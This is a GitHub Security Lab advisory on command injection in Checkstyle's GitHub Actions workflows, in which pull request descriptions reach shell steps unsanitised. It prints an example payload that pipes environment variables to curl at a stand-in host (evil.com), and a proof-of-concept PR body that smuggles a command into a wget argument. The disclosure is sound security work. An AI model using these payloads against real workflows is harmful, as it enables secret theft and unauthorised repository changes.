skip to content
Back to GitHub.com
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
December 15, 2021

GHSL-2020-183: Arbitrary command injection in GitHub workflows of Checkstyle

Jaroslav Lobacevski

Coordinated Disclosure Timeline

Summary

The diff_report.yml and site.yml GitHub workflows are vulnerable to arbitrary command injection.

Product

Checkstyle GitHub repository

Tested Version

diff_report.yml and site.yml from the Master branch.

Details

Issue 1: The description of a public GitHub Pull Request is used to format a shell command

When a user adds a special comment on a public Pull Request it automatically starts the diff_report.yml GitHub workflow. The description of the Pull Request is used without sanitization to format a bash script:

  parse_body:
    if: github.event.comment.body == 'GitHub, generate report'
    runs-on: ubuntu-latest
...
    steps:
     - name: Getting PR description
       run: |
        echo "${{github.event.issue.body}}" > text
        echo "${{github.event.issue.user.login}}" > user
        wget -q "${{github.event.issue.pull_request.url}}" -O info.json
        jq .head.ref info.json > branch

Impact

This vulnerability allows an arbitrary script injection which allows for unauthorized modification of the base repository and secrets exfiltration. For example a user may create a Pull Request with the description a" > text && set +e; printenv | curl -X POST --data-binary @- http://evil.com # which will exfiltrate all environment variables to the attacker controlled server and trigger the workflow by adding the special comment to the Pull Request: GitHub, generate report. To make the attack less visible an attacker may modify the description of the Pull Request and close it.

Issue 2: Untrusted output from previous steps is used to format a shell command

The issue body is saved into a text file for processing. After several operations a value is extracted and set as an output value of the job. For example projects_link. Then in step “Download files” an expression evaluation is performed with the untrusted value, that allows for shell injection:

diff_report.yml:

  wget -q "${{needs.parse_body.outputs.projects_link}}" -O project.properties

The same injection exists in the handling of the other output values like outputs.new_module_config_linkoutputs.config_linkoutputs.patch_config_linkoutputs.branchoutputs.report_label and outputs.message in the same diff_report.yml and outputs.branch and outputs.message in site.yml.

Impact

This vulnerability allows an arbitrary script injection which allows for unauthorized modification of the base repository and secrets exfiltration.

For a PoC create a pull request with the following body:

Diff Regression projects: https://gist.githubusercontent.com/plan3d/ca91d8262d18c4c84f6b62fa1cb4bebc/raw/1439fe419e2c073c551ac421ac4767ecb0bb3a0a/projects-to-test-on.properties" -O project.properties; echo test;#
Diff Regression config: x

Comment on the PR with GitHub, generate report. You will see “test” in the action log.

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-183 in any communication regarding this issue.